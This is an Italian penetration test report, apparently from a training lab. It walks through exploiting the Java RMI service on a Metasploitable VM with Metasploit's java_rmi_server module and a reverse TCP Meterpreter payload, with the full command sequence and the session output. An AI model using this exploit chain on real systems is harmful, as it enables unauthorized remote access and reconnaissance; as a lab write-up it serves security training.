

Report di Penetrazione: Exploit Java RMI su Metasploitable

1. Introduzione

Questo report documenta l'exploit della vulnerabilità Java RMI sulla porta 1099 della macchina Metasploitable, utilizzando Metasploit da una macchina Kali Linux. L'obiettivo dell'attacco è ottenere una sessione Meterpreter sulla macchina vittima e raccogliere informazioni sulla sua configurazione di rete e tabella di routing.

2. Configurazione della Rete

- Macchina attaccante (Kali Linux): 192.168.50.100
- Macchina vittima (Metasploitable): 192.168.50.200

3. Scansione Preliminare

Per verificare la presenza della vulnerabilità e la disponibilità della porta 1099, abbiamo eseguito i seguenti comandi:

```
kali@kali2023: ~  
File Actions Edit View Help  
~  
$ ping 192.168.50.200  
PING 192.168.50.200 (192.168.50.200) 56(84) bytes of data:  
64 bytes from 192.168.50.200: icmp_seq=1 ttl=64 time=5.30 ms  
64 bytes from 192.168.50.200: icmp_seq=2 ttl=64 time=1.05 ms  
64 bytes from 192.168.50.200: icmp_seq=3 ttl=64 time=1.00 ms  
64 bytes from 192.168.50.200: icmp_seq=4 ttl=64 time=1.61 ms  
64 bytes from 192.168.50.200: icmp_seq=5 ttl=64 time=0.954 ms  
^Z  
zsh: suspended ping 192.168.50.200  
~  
$ nmap -sv -p 1099 192.168.50.200/24  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 09:37 CET  
Nmap scan report for 192.168.50.200  
Host is up (0.0014s latency).  
  
PORT      STATE SERVICE VERSION  
1099/tcp  open  java-rmi GNU Classpath grmiregistry  
MAC Address: 0A:E9:12:A7:B7:3E (Unknown)  
  
Nmap scan report for pfSense.home.arpa (192.168.50.254)  
Host is up (0.0014s latency).  
  
PORT      STATE SERVICE VERSION  
1099/tcp  filtered rmiregistry  
MAC Address: AE:24:08:D5:60:07 (Unknown)  
  
Nmap scan report for 192.168.50.100  
Host is up (0.000030s latency).
```

L'output ha confermato che la porta 1099 è aperta e in ascolto, indicando un potenziale punto di attacco.

4. Sfruttamento della Vulnerabilità con Metasploit

Abbiamo utilizzato il modulo **java_rmi_server** di Metasploit per sfruttare la vulnerabilità e ottenere una sessione remota.

Passaggi eseguiti:

```
kali@kali2023: ~  
File Actions Edit View Help  
+ -- ==[ 1610 payloads - 49 encoders - 13 nops ]  
+ -- ==[ 9 evasion ]  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > search java_rmi  
Matching Modules  
  
# Name Disclosure Date Rank Check Description  
0 auxiliary/gather/java_rmi_registry . normal No Java RMI Registry Interfaces Enumeration  
1 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server  
Insecure Default Configuration Java Code Execution  
2 \ target: Generic (Java Payload) . . . .  
3 \ target: Windows x86 (Native Payload) . . . .  
4 \ target: Linux x86 (Native Payload) . . . .  
5 \ target: Mac OS X PPC (Native Payload) . . . .  
6 \ target: Mac OS X x86 (Native Payload) . . . .  
7 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server  
Insecure Endpoint Code Execution Scanner  
8 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnect  
ionImpl Deserialization Privilege Escalation  
  
Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl  
msf6 > use 1
```

```
kali@kali2023: ~  
File Actions Edit View Help  
SSL false no Negotiate SSL for incoming connections  
SSLCert no no Path to a custom SSL certificate (default is randomly generated)  
URIPATH no no The URI to use for this exploit (default is random)  
  
Payload options (java/meterpreter/reverse_tcp):  
  
Name Current Setting Required Description  
-- -- -- --  
LHOST 192.168.1.25 yes The listen address (an interface may be specified)  
LPORT 4444 yes The listen port  
  
Exploit target:  
  
Id Name  
0 Generic (Java Payload)  
  
View the full module info with the info, or info -d command.  
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.50.200  
RHOSTS => 192.168.50.200  
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.50.100  
LHOST => 192.168.50.100  
msf6 exploit(multi/misc/java_rmi_server) > set LPORT 4444  
LPORT => 4444
```

```

msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4448
[*] 192.168.50.200:1099 - Using URL: http://192.168.50.100:8080/0ul19Mf
[*] 192.168.50.200:1099 - Server started.
[*] 192.168.50.200:1099 - Sending RMI Header ...
[*] 192.168.50.200:1099 - Sending RMI Call ...
[*] 192.168.50.200:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.50.200
[*] Meterpreter session 1 opened (192.168.50.100:4448 → 192.168.50.200:37927) at 2025-03-14 10:21:48 +0100

meterpreter > ifconfig

```

L'attacco ha avuto successo, permettendoci di stabilire una sessione Meterpreter sulla macchina vittima.

5. Raccolta di Informazioni dalla Macchina Vittima

Dopo aver ottenuto l'accesso, abbiamo raccolto le seguenti informazioni:

Configurazione di rete:

```

meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.50.200
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd91:10bb:61d4:137b:8e9:12ff:fea7:b73e
IPv6 Netmask : ::
IPv6 Address : fe80::8e9:12ff:fea7:b73e
IPv6 Netmask : ::

meterpreter >

```

L'output ha mostrato le interfacce di rete della macchina vittima, inclusi gli indirizzi IP assegnati.

Tabella di routing:

```

meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0
192.168.50.200 255.255.255.0 0.0.0.0      0

IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0
fd91:10bb:61d4:137b:8e9:12ff:fea7:b73e ::           ::
fe80::8e9:12ff:fea7:b73e ::           ::

meterpreter >

```

Abbiamo acquisito la tabella di routing della macchina Metasploitable, utile per comprendere il flusso del traffico di rete.

7. Conclusioni

L'exploit della vulnerabilità Java RMI è stato eseguito con successo, consentendoci di ottenere una sessione Meterpreter e raccogliere informazioni dettagliate sulla configurazione della macchina vittima. Questo dimostra l'importanza di proteggere adeguatamente i servizi esposti e di applicare le patch di sicurezza per mitigare le vulnerabilità note.